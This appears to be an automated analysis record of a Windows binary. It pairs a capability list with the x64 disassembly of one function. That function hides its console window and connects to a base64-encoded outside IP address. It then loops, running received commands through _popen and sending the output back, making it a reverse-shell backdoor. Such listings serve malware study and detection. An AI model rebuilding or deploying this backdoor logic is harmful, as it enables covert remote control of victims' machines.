Function at 0x1400011c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0x202
lea rdx, [rbp - 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, 1
mov ebx, 2
mov r8d, 6
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
mov word [rsp + 0x70], bx
mov ecx, 0xd2f0
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x72], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov ecx, 0x20
call fcn.140002770
mov qword [rbp - 0x60], rax
movdqa xmm0, xmmword [0x1400044f0]
movdqu xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [str.OTUuNDkuMTA3LjI0NQ]
movups xmmword [rax], xmm0
mov ecx, dword [0x140004458]
mov dword [rax + 0x10], ecx
mov byte [rax + 0x14], 0
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x80]
call fcn.1400016e0
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
lea r8, [rsp + 0x74]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_connect]
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x1e0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400015e2
xor r15d, r15d
movabs r12, 0x7fffffffffffffff
movabs r13, 0x8000000000000000
mov ecx, socket
mov eax, eax
cmp rax, 0x400
jae 0x1400016cb
mov byte [rbp + rax + 0x1e0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
lea rax, [rbp + 0x1e0]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001326
cmp rbx, r12
ja 0x1400016d7
cmp rbx, 0xf
ja 0x14000136a
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], send
mov r8, rbx
lea rdx, [rbp + 0x1e0]
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x50], 0
jmp 0x1400013f7
mov rdi, rbx
or rdi, 0xf
cmp rdi, r12
jbe 0x14000137f
mov rdi, r12
lea rax, [r13 + 0x27]
jmp 0x1400013ab
cmp rdi, 0x16
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001395
mov rsi, r15
jmp 0x1400013d2
cmp rcx, 0x1000
jb 0x1400013ca
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400016d1
mov rcx, rax
call fcn.140002770
test rax, rax
je 0x14000163e
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400013d2
call fcn.140002770
mov rsi, rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
mov r8, rbx
lea rdx, [rbp + 0x1e0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], send
mov byte [rsp + 0x30], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
lea rdx, [0x140004478]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rsi, rax
test rax, rax
jne 0x14000144d
mov r8d, send
lea rcx, [rsp + 0x30]
call fcn.140001ce0
jmp 0x140001511
mov r8, rsi
mov edx, 0x80
lea rcx, [rbp + 0x160]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x140001508
nop dword [rax + rax]
lea rax, [rbp + 0x160]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001480
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x1400014d1
lea rax, [rbx + rcx]
mov qword [rsp + 0x40], rax
lea rdi, [rsp + 0x30]
cmp rdx, 0xf
cmova rdi, qword [rsp + 0x30]
add rdi, rcx
mov r8, rbx
lea rdx, [rbp + 0x160]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x1400014ea
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x160]
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140002180
mov r8, rsi
mov edx, 0x80
lea rcx, [rbp + 0x160]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140001470
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rdx, qword [rsp + 0x30]
xor r9d, r9d
mov r8d, dword [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001571
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000156c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001637
call fcn.1400029ec
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], send
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400015c1
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000163e
call fcn.1400029ec
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x1e0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x1400012eb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001e50
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000164a
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001645
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001645
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400029ec
movdqa xmm0, xmmword [0x1400044e0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140001699
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001694
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001694
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029ec
xor eax, eax
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.140002390
lea r11, [rsp + 0x6f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400025d8
nop
call fcn.140001100
int3
call fcn.1400011a0
int3